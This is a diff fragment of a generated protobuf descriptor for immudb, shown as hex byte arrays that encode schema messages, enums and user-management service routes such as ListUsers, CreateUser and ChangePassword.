0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, + 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, + 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, + 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, + 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, + 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, + 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, + 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, + 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, + 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, + 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, + 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, + 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, + 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, + 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, + 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, + 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, + 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, + 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, + 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, + 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, + 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, + 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, + 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, + 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, + 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, + 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, + 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xea, + 0x32, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, + 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, + 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, - 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, - 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, - 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, - 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, - 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, - 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, - 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, - 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, - 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, - 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, - 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, - 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, - 0x99, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, - 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, - 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, - 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, - 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, - 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, - 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, - 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, - 0x74, 0x73, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, - 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, - 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, - 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, - 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, - 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, - 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, - 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, - 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, - 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, - 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, - 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, - 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, - 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, - 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, - 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, - 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, - 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, - 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, - 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, - 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, - 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, - 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, - 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, - 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, - 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, - 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, - 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xea, 0x32, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, - 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, - 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, - 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, - 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, - 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, - 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, - 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, - 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, - 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, - 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, - 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, + 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, + 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, - 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, - 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, - 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, - 0x70, 0x64, 0x61, 0x74, 0x65, 